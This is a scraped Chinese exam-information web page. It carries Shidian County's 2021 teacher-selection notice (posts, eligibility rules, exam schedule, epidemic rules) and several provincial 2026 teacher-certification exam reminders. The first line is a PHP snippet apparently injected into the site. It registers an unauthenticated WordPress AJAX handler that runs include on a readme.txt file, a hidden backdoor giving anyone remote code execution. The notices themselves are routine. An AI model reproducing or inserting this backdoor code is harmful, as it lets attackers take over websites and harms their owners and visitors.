if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
云南保山市施甸县2021遴选教师25人公告-全国教师资格考试网

云南保山市施甸县2021遴选教师25人公告

  为科学合理配置教师资源,促进优秀教师合理流动,配齐配强县直学校和部分中心学校教师,结合教育体育系统实际,特制定本实施方案。
  一、公开遴选原则
  总编控制、编岗一致、学科对应、优化结构、均衡配置。
  二、公开遴选范围
  全县符合遴选条件的中小学幼儿园在职在岗公办教职工。
  三、公开遴选岗位

2021年县直学校及甸阳镇中心学校公开遴选教师岗位表
公开遴选学校 公开遴选岗位 备注
语文 数学 英语 音乐 美术 体育 学前 合计
施甸县职业高级中学 1     1       2  
施甸县第一完全中学   1 1     1   3  
施甸县示范小学 7 2 1   1 1   12  
施甸县甸阳镇中心学校 1 2 2         5  
施甸县幼儿园             3 3  
合计 9 5 4 1 1 2 3 25  

  四、公开遴选条件
  (一)基本条件
  1.拥护中国共产党的领导,坚持党的四项基本原则,热爱教育事业。
  2.遵纪守法,品行端正,为人师表,近3年履职考核均在合格及以上等次。
  3.爱岗敬业,吃苦耐劳,有奉献精神。
  4.具有国民教育专科及以上学历。
  5.普通话水平语文学科要求达二级甲等及以上,其他学科达二级乙等及以上。
  6.县外调入教师在调入学校任教须满3周年及以上(从调入当年9月1日起计算)方可参加公开遴选。
  7.未在党政纪处分期内。
  (二)必备条件
  1.县职业高级中学教师岗位
  (1)语文岗位:从事中学教育教学工作3周年及以上(截止2021年8月31日);年龄不限;具有高级中学及以上教师资格证;所学专业或2020-2021学年任教学科与报考岗位一致;近3年(2018-2019学年、2019-2020学年、2020-2021学年)任教学科每学年末县统测平均分均不低于全县平均分。
  (2)音乐岗位:从事中学教育教学工作3周年及以上(截止2021年8月31日);年龄不限;具有高级中学及以上教师资格证;全日制学历所学专业与报考岗位一致。
  2.县第一完全中学教师岗位
  (1)数学岗位:从事中学教育教学工作3周年及以上(截止2021年8月31日);年龄不限;具有高级中学及以上教师资格证;所学专业或2020-2021学年任教学科与报考岗位一致;近3年(2018-2019学年、2019-2020学年、2020-2021学年)任教学科每学年末县统测平均分均不低于全县平均分。
  (2)英语岗位:从事中学教育教学工作3周年及以上(截止2021年8月31日);年龄不限;具有高级中学及以上教师资格证;全日制学历所学专业与报考岗位一致;近3年(2018-2019学年、2019-2020学年、2020-2021学年)任教学科每学年末县统测平均分均不低于全县平均分。
  (3)体育岗位:从事中学教育教学工作3周年及以上(截止2021年8月31日);年龄不限;具有高级中学及以上教师资格证;全日制学历所学专业与报考岗位一致。
  3.县示范小学教师岗位
  (1)语文、数学岗位:从事小学、幼儿园教育教学工作3周年及以上(截止2021年8月31日);年龄不限;具有小学及以上教师资格证;所学专业或2020-2021学年任教学科与报考岗位一致;近3年(2018-2019学年、2019-2020学年、2020-2021学年)任教学科每学年末县统测平均分均不低于全县平均分。
  (2)英语、美术、体育岗位:从事小学、幼儿园教育教学工作3周年及以上(截止2021年8月31日);年龄不限;具有小学及以上教师资格证;全日制学历所学专业与报考岗位一致。
  4.甸阳镇中心学校辖区小学教师岗位
  (1)语文、数学岗位:从事小学、幼儿园教育教学工作3周年及以上(截止2021年8月31日);年龄不限;具有小学及以上教师资格证;所学专业或2020-2021学年任教学科与报考岗位一致;近3年(2018-2019学年、2019-2020学年、2020-2021学年)任教学科每学年末县统测平均分均不低于全县平均分。
  (2)英语岗位:从事小学、幼儿园教育教学工作3周年及以上(截止2021年8月31日);年龄不限;具有小学及以上教师资格证;全日制学历所学专业与报考岗位一致。
  5.报考县幼儿园教师岗位:从事小学、幼儿园教育教学工作3周年及以上(截止2021年8月31日);年龄在35周岁以下(1986年9月1日后出生);具有幼儿园及以上教师资格证;所学专业为音乐、美术、学前教育专业或2020-2021学年从事学前教育教学工作。
  6.报考中学语文、数学、英语,小学语文、数学岗位的教师,提供近3年(2018-2019学年、2019-2020学年、2020-2021学年)任教学科学年末县统测成绩,学年末县统测平均分均不低于全县平均分,同一学年承担多班级、多学科教学的教师,按其最好班级、最好学科成绩计算;符合报考条件人员每人仅限报考其中一个岗位,不得报考多个岗位。
  五、公开遴选考试有关要求
  (一)报名
  1.报名时间:2021年8月4日至5日,截止8月5日17:30。
  2.报名地点:县教育体育局小会议室。
  3.报名注意事项:
  (1)报考教师持《施甸县2021年公开遴选教师报名登记表》,身份证、教师资格证、毕业证、普通话合格证原件及复印件,一寸免冠近照1张,学校出具的任教学科证明原件,到县教育体育局小会议室按对应岗位进行报名。各学校要高度重视,严格把关,认真做好资格初审、材料初验工作,据实出具相关证明材料。
  (2)从教年限和年龄计算至2021年8月31日。
  (3)遴选岗位按岗位数与报考人数1:3的比例开考,不足1:3比例的取消该岗位。
  (二)资格审查
  2021年8月6日至7日,资格审查工作领导小组对报名人员的资格、条件进行审查。
  (三)领取准考证
  考生于2021年8月10日下午14:30-17:30到县教育体育局人事股领取准考证,并按时到考点参加考试。
  (四)考核内容及时间
  考核以笔试方式进行,笔试成绩满分100分,其中:70分为报考学科的专业知识、30分为教师综合素养知识,按笔试卷面成绩的100%计入考核成绩。
  1.笔试由县教育体育局统一组织,实行分学段、分学科闭卷考试。
  2.笔试时间:2021年8月11日(星期三)09:00—11:30。
  3.笔试地点:施甸县第一完全中学。
  4.考务管理:笔试参照现行高考有关要求组织实施,严肃考风考纪。实行单人单桌,每个考场原则上不超过30人。考试违规者参照教育部第33号令《国家教育统一考试违规处理办法》处理。
  需查分者,在公示考试成绩3日内由乡镇中心学校或县直学校统一登记后,报县教育体育局人事股进行统一查分。
  六、公示笔试成绩及拟调动人选
  2021年8月14日在县教育体育局公示笔试成绩及拟调动人选名单,公示期限5天。
  按每个遴选岗位笔试成绩排名,从高到低的顺序确定拟调动人选,拟调动人选与岗位遴选人数的比例为1:1。笔试成绩相同的,报考中学语文、数学、英语和小学语文、数学岗位的教师,查看2020-2021学年任教学科成绩(平均分、及格率、优秀率),承担多班级教学的教师,按其最好班级成绩计算,成绩(平均分、及格率、优秀率)高的确定为拟调动人选;报考中学音乐、体育和小学英语、美术、体育以及学前教育岗位的教师,以近2年教学成绩、工作业绩等综合情况,由领导小组确定拟调动人选。
  七、体检及尿检
  参照公务员录用标准组织拟调动人选到县人民医院进行体检(含尿检),体检不合格者,取消公开遴选资格,并从报考该岗位的人员中按成绩排名从高到低的顺序依次递补一次。
  八、调动审批
  (一)拟调动人员按程序报请县人社部门同意后,办理调动手续。
  (二)调动人员专业技术职务由调入学校聘任,按聘任后的岗位享受相应的工资待遇。
  九、疫情防控要求
  (一)申领健康码及通信大数据行程卡。按照疫情防控相关要求,考生须主动申报个人健康状况,持本人“云南健康码”和“通信大数据行程卡”进场,并配合考点做好疫情防控工作。“云南健康码”“通信大数据行程卡”均为绿码,现场测量体温正常(<37.3℃)的人员,可按要求正常参加笔试;“云南健康码”为黄码、“通信大数据行程卡”显示来自国内中风险地区的人员,持考试前3天内有效的核酸检测阴性证明,现场测量体温正常(<37.3℃)方可参加笔试;“云南健康码”为红码、“通信大数据行程卡”显示来自国内高风险地区的人员,不得进入考场,应立即开展排查并按要求纳入管理;近一个月内有境外旅居史的人员,需提供14天有效的集中医学隔离观察和7天有效居家隔离观察证明、考前3天内有效的核酸检测阴性证明参加考试。
  (二)考生在进入考点前需进行体温检测,请考生在考点入口等候检测时服从工作人员安排,遵守秩序,排队进行检测。检测体温前,考生应当注意防晒、防暑,避免体温过高,不能顺利通过体温检测通道。
  (三)考生自备医用口罩,并注意个人防护,考生进入考点内,除核验信息时须配合摘下口罩以外,笔试全程均须佩戴口罩。
  十、纪律要求
  (一)对违反纪律和弄虚作假的报考人员及资格初审人员,取消公开遴选资格,同时追究本人和所属学校领导的责任。
  (二)工作人员应认真履行岗位职责,遵守考试纪律,保守工作秘密。
  (三)工作人员存在应当回避的情形或可能影响遴选公正的,应当回避。
  (四)纪检监察部门对遴选工作进行全程监督,提高工作透明度,自觉接受社会监督。如有违反遴选纪律、徇私舞弊行为的,按有关规定给予严肃处理。
  十一、重要提示
  (一)报考人员应据实填写个人信息,确保个人信息真实。凡不据实填报信息的,按弄虚作假处理,并自行承担因此造成的一切后果。
  (二)本次遴选考试不指定考试辅导用书,也不举办或委托任何机构举办考试辅导培训班,请参加考生不要相信任何有关的宣传推销材料,以免上当受骗。
  十二、本方案由施甸县教育体育局负责解释
  咨询电话:施甸县教育体育局人事股 0875-8126705
  监督电话:施甸县纪委监委派驻县教育体育局纪检监察组  0875-8121185
  附件1:施甸县2021年公开遴选教师报名登记表   
  2:施甸县2021年公开遴选教师学年末县统测成绩登记表

施甸县教育体育局
2021年7月29日
 
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部